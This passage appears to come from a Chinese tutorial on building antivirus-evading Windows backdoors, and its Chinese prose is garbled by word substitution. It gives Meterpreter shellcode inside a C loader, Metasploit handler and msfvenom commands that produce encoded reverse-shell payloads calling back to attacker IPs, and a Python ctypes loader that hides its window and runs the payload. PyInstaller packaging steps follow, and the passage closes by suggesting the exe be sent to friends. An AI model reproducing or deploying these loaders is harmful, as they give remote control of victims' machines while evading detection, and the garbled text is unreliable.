"\x57\x8b\x52\x10\x8b\x4a\x3c\x8b\x4c\x11\x78\xe3\x48\x01\xd1"
"\x51\x8b\x59\x20\x01\xd3\x8b\x49\x18\xe3\x3a\x49\x8b\x34\x8b"
"\x01\xd6\x31\xff\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf6\x03"
"\x7d\xf8\x3b\x7d\x24\x75\xe4\x58\x8b\x58\x24\x01\xd3\x66\x8b"
"\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24"
"\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x5f\x5f\x5a\x8b\x12\xeb"
"\x8d\x5d\x68\x6e\x65\x74\x00\x68\x77\x69\x6e\x69\x54\x68\x4c"
"\x77\x26\x07\xff\xd5\x31\xdb\x53\x53\x53\x53\x53\x68\x3a\x56"
"\x79\xa7\xff\xd5\x53\x53\x6a\x03\x53\x53\x68\xb3\x15\x00\x00"
"\xe8\x6a\x01\x00\x00\x2f\x57\x65\x56\x69\x48\x48\x4e\x41\x6f"
"\x4f\x51\x36\x76\x54\x75\x38\x59\x37\x52\x73\x4d\x41\x38\x68"
"\x72\x6a\x33\x30\x67\x39\x42\x41\x6c\x42\x35\x66\x45\x68\x33"
"\x66\x2d\x65\x68\x69\x6e\x46\x42\x33\x45\x4d\x59\x59\x79\x7a"
"\x46\x34\x53\x34\x6c\x50\x74\x4f\x57\x6a\x4e\x63\x46\x6b\x6f"
"\x73\x47\x6e\x70\x53\x50\x53\x6e\x33\x64\x73\x53\x7a\x6e\x2d"
"\x41\x2d\x50\x56\x39\x74\x2d\x6f\x58\x4f\x56\x45\x30\x47\x55"
"\x61\x63\x34\x61\x41\x68\x42\x53\x67\x57\x58\x69\x6c\x71\x52"
"\x33\x6b\x6b\x59\x59\x56\x63\x42\x4d\x37\x75\x79\x4f\x70\x38"
"\x45\x5f\x4d\x70\x44\x30\x35\x39\x4b\x4b\x6b\x4b\x49\x6c\x6a"
"\x48\x51\x50\x2d\x4d\x32\x75\x64\x4e\x58\x47\x63\x51\x35\x5a"
"\x4b\x49\x41\x42\x43\x59\x6f\x55\x72\x53\x77\x34\x4e\x59\x35"
"\x48\x46\x41\x49\x78\x63\x63\x41\x69\x73\x6c\x43\x4c\x44\x76"
"\x57\x5f\x77\x64\x32\x67\x39\x68\x4d\x51\x54\x31\x39\x50\x50"
"\x50\x53\x41\x41\x4f\x51\x55\x6b\x68\x4e\x63\x56\x46\x7a\x2d"
"\x4c\x4a\x47\x38\x52\x58\x38\x61\x6f\x4c\x6b\x2d\x4b\x34\x77"
"\x46\x48\x72\x00\x50\x68\x57\x89\x9f\xc6\xff\xd5\x89\xc6\x53"
"\x68\x00\x02\x60\x84\x53\x53\x53\x57\x53\x56\x68\xeb\x55\x2e"
"\x3b\xff\xd5\x96\x6a\x0a\x5f\x53\x53\x53\x53\x56\x68\x2d\x06"
"\x18\x7b\xff\xd5\x85\xc0\x75\x14\x68\x88\x13\x00\x00\x68\x44"
"\xf0\x35\xe0\xff\xd5\x4f\x75\xe1\xe8\x4c\x00\x00\x00\x6a\x40"
"\x68\x00\x10\x00\x00\x68\x00\x00\x40\x00\x53\x68\x58\xa4\x53"
"\xe5\xff\xd5\x93\x53\x53\x89\xe7\x57\x68\x00\x20\x00\x00\x53"
"\x56\x68\x12\x96\x89\xe2\xff\xd5\x85\xc0\x74\xcf\x8b\x07\x01"
"\xc3\x85\xc0\x75\xe5\x58\xc3\x5f\xe8\x7f\xff\xff\xff\x31\x39"
"\x32\x2e\x31\x36\x38\x2e\x31\x31\x34\x2e\x31\x34\x30\x00\xbb"
"\xf0\xb5\xa2\x56\x6a\x00\x53\xff\xd5";
void main()
{
LPVOID Memory = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(Memory, shellcode, sizeof(shellcode));
((void(*)())Memory)();
}
编译前栽种技俩属性如下(不然报错短缺相应的dll):
终末生成exe文献
Kali使用msf作念监听:
use exploit/multi/handler
set payloadwindows/meterpreter/reverse_http
set LHOST 192.168.114.140
set LPORT 5555
exploit -j 在谋略任务下进行浸透挫折(挫折将在后台进行)
当在看法主机施行后会回连Kali挫折机 192.168.114.140的5555端口:
> msfvenom -p windows/meterpreter/reverse_tcp LPORT=443 LHOST=192.168.2.222 -e x86/shikata_ga_nai -i 11 -f py -o C:/luan/luan.py
DL is deprecated, please use Fiddle
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 11 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 360 (iteration=0)
x86/shikata_ga_nai succeeded with size 387 (iteration=1)
x86/shikata_ga_nai succeeded with size 414 (iteration=2)
x86/shikata_ga_nai succeeded with size 441 (iteration=3)
x86/shikata_ga_nai succeeded with size 468 (iteration=4)
x86/shikata_ga_nai succeeded with size 495 (iteration=5)
x86/shikata_ga_nai succeeded with size 522 (iteration=6)
x86/shikata_ga_nai succeeded with size 549 (iteration=7)
x86/shikata_ga_nai succeeded with size 576 (iteration=8)
x86/shikata_ga_nai succeeded with size 603 (iteration=9)
x86/shikata_ga_nai succeeded with size 630 (iteration=10)
x86/shikata_ga_nai chosen with final size 630
Payload size: 630 bytes
Saved as: C:/luan/luan.py
C:\PentestBox\bin\metasploit-framework
然后绽开luan.py,修改成这风景:
from ctypes import *
import ctypes
buf =""
buf += "\xda\xca\xb8\x17\x5d\x14\x92\xd9\x74\x24\xf4\x5d\x29"
buf += "\xc9\xb1\x97\x31\x45\x1a\x03\x45\x1a\x83\xed\xfc\xe2"
buf += "\xe2\xe6\x30\x37\xec\xba\xe0\xf0\x35\xc8\x36\x0b\x98"
buf += "\x00\xfe\x42\xb3\x52\x5d\xb7\xb0\xc9\x4f\x34\x7f\xa8"
buf += "\x6d\x6c\xd1\x7b\x77\xcd\x6d\x92\x35\x6a\x79\x41\x1d"
buf += "\x16\x66\x6f\x97\xce\x5e\x17\xb3\xef\xdc\x73\xcb\xdb"
buf += "\x3c\xd5\x6d\xfd\x01\x37\x1c\x73\xbf\x36\x58\xd4\x58"
buf += "\x12\xce\x52\x67\x6c\xdb\x18\x8a\x25\xfa\x9f\x7d\xa3"
buf += "\x9c\x49\xd9\xde\x7d\xc8\x1e\x10\xea\xff\x48\x4f\x31"
buf += "\xb5\x13\x18\x05\x9b\x21\x7f\xd1\xd2\xae\x85\x96\x03"
buf += "\x41\xcb\x11\x11\x70\x45\x0c\x64\xc3\xf5\xd8\x8f\x63"
buf += "\x18\x82\xc3\xee\x9a\x08\xac\x37\xa0\xed\x1a\x57\x25"
buf += "\x76\xd4\xde\xc0\x17\xa8\xeb\x1b\x12\x3c\x00\xf3\xf4"
buf += "\xa2\x90\x60\xd6\x2d\x62\xb8\xbc\x32\xf3\x9d\x2b\x8a"
buf += "\xd8\x8a\x27\x24\xc0\xfa\xd7\x72\xb1\x73\xc1\x91\x66"
buf += "\xb8\x86\x61\x16\x12\x11\x32\x59\xd1\x20\x8f\x34\x26"
buf += "\xd6\x98\xda\xc8\xfe\xcb\x91\xec\xb0\x5e\xd8\xa1\x8c"
buf += "\x10\x95\xbd\x00\x81\x0c\xd9\x7a\xb1\xf3\xf6\x45\x0d"
buf += "\x0f\x88\x5f\x9a\xd5\xf6\xbc\xd6\xfd\xa2\xb1\xef\x66"
buf += "\xac\x1e\xa6\x28\x6c\x09\x14\xe8\x0c\x7f\xb6\x0a\x3a"
buf += "\x4c\xf6\xc2\xbd\xd2\x0e\xea\x59\x2a\x69\x2c\x42\x62"
buf += "\x18\x78\x8b\x32\x20\xb7\x46\x46\xa1\xbe\x0a\x9e\xa4"
buf += "\x38\x74\x6d\x3d\x23\x0b\x2e\xd3\x76\xe6\x21\xb1\x69"
buf += "\x5c\x55\x9e\xac\xa8\x04\x0b\x50\x7f\x99\x10\x72\x21"
buf += "\xf5\x51\x99\xc0\xc2\x25\x5f\x06\x7a\x8a\xa9\x5e\xf4"
buf += "\x5b\xe9\x6b\xc8\x50\xc1\xc5\x49\x89\x2a\x3a\x70\x0c"
buf += "\xb0\x50\x0d\xa2\xa9\x18\xff\x30\xd9\x19\xdc\xb8\x9a"
buf += "\xa1\x3e\x7c\x8f\xe0\x3e\xdf\xc5\x93\x18\x83\x25\x99"
buf += "\x10\xab\xa3\x03\x98\xba\x83\x8f\x65\x83\xa2\xbb\x79"
buf += "\x2f\xd7\xe1\xb1\xdb\xde\x59\xca\x4f\xa5\xb5\xfd\xa8"
buf += "\x22\xdd\xa6\x41\xee\xcd\x8c\xaa\xb6\xf7\x24\xe9\xe0"
buf += "\x9a\x0d\x59\x77\x81\x3f\x14\x60\x7e\xdd\x42\xd8\x9e"
buf += "\x19\x96\x52\x5b\xca\x91\x28\xc0\x53\x48\x50\x8d\x51"
buf += "\xa8\x23\x1b\x37\xdc\xd3\x7d\x8e\xc5\xd3\x2c\x05\xf2"
buf += "\x8e\xb7\xf7\x68\xe1\x12\x6c\x9d\x6e\xb4\x98\x7c\x58"
buf += "\xfa\xf2\x5f\x89\xd0\x99\xaf\xa5\x52\x6f\x25\xd3\x9b"
buf += "\xa7\xa1\xaa\x56\x24\x75\xe3\x5f\x16\x02\x22\x10\xd0"
buf += "\xb0\x83\xc4\xf9\xa0\x35\xfd\xce\x5d\x80\xbd\x4b\x43"
buf += "\xf2\xf2\x61\x72\xba\xe7\x4a\xd3\xa9\x0e\x83\x3f\xc9"
buf += "\x44\x41\x1f\xf2\x01\x28\x60\x5c\x01\xcd\x64\x20\x97"
buf += "\xa6\x64\xb4\x3d\x2b\xdb\x78\xf4\xa4\xfd\x39\xb9\x9d"
buf += "\x0c\x53\x3b\x08\xb7\x8a\x97\x85\xa5\x10\x4b\xca\x60"
buf += "\x51\xca\xb0\x50\xce\xf4\x2e\xbb\x59\xa6\x4b\x29\xe5"
buf += "\x19\x90\xe1\x31\xc6\xaa\x6b\xfe\xd3\xdd\xd9\x9c\xf9"
buf += "\xae\xfc\x3a\x10\x50\x85\xf4\xc6\xa0\x54\x9d\x76\x1e"
buf += "\x95\xad\x4e\x77\x6d\xd6\x75\x2b\x6f\x12\x58\x3f\xde"
buf += "\x3a\x72\xd1\x90\x65\xa8\x11\x60\x0e\x22\x60\xeb\x7a"
buf += "\xc7\x13\x6f\xaf\x56\x5b\x71\xdc\xa2\x6a\x7d\xfa\x42"
buf += "\x90\x82\x01\xd5\x98\x6d"
#libc = CDLL('libc.so.6')
PROT_READ = 1
PROT_WRITE = 2
PROT_EXEC = 4
def executable_code(buffer):
buf = c_char_p(buffer)
size = len(buffer)
addr = libc.valloc(size)
addr = c_void_p(addr)
if 0 == addr:
raise Exception("Failed to allocate memory")
memmove(addr, buf, size)
if 0 != libc.mprotect(addr, len(buffer), PROT_READ | PROT_WRITE | PROT_EXEC):
raise Exception("Failed to set protection on buffer")
return addr
VirtualAlloc = ctypes.windll.kernel32.VirtualAlloc
VirtualProtect = ctypes.windll.kernel32.VirtualProtect
shellcode = bytearray(buf)
whnd = ctypes.windll.kernel32.GetConsoleWindow()
if whnd != 0:
if 666==666:
ctypes.windll.user32.ShowWindow(whnd, 0)
ctypes.windll.kernel32.CloseHandle(whnd)
print ".................................."*666
memorywithshell = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0),
ctypes.c_int(len(shellcode)),
ctypes.c_int(0x3000),
ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
old = ctypes.c_long(1)
VirtualProtect(memorywithshell, ctypes.c_int(len(shellcode)),0x40,ctypes.byref(old))
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_int(memorywithshell),
buf,
ctypes.c_int(len(shellcode)))
shell = cast(memorywithshell, CFUNCTYPE(c_void_p))
print "Code By Luan"
shell()
下载pywin32 解压运行,一直点下一步就可以了。
下载pyinstall 解压然后施行:(这里防卫旅途中不要带华文,Win10貌似需要解决员权限运行)
C:\Luan>cd C:\pyinstaller-2.0
C:\pyinstaller-2.0>python PyInstaller.py --console --onefile msf.py
然后就能在C:\pyinstaller-2.0\luan\dist目次下找到luan.exe,免杀。
如果生成不收效,或者生成的exe运行不了等问题,请再行安设环境,确保是32位的环境。发给一又友测试测试: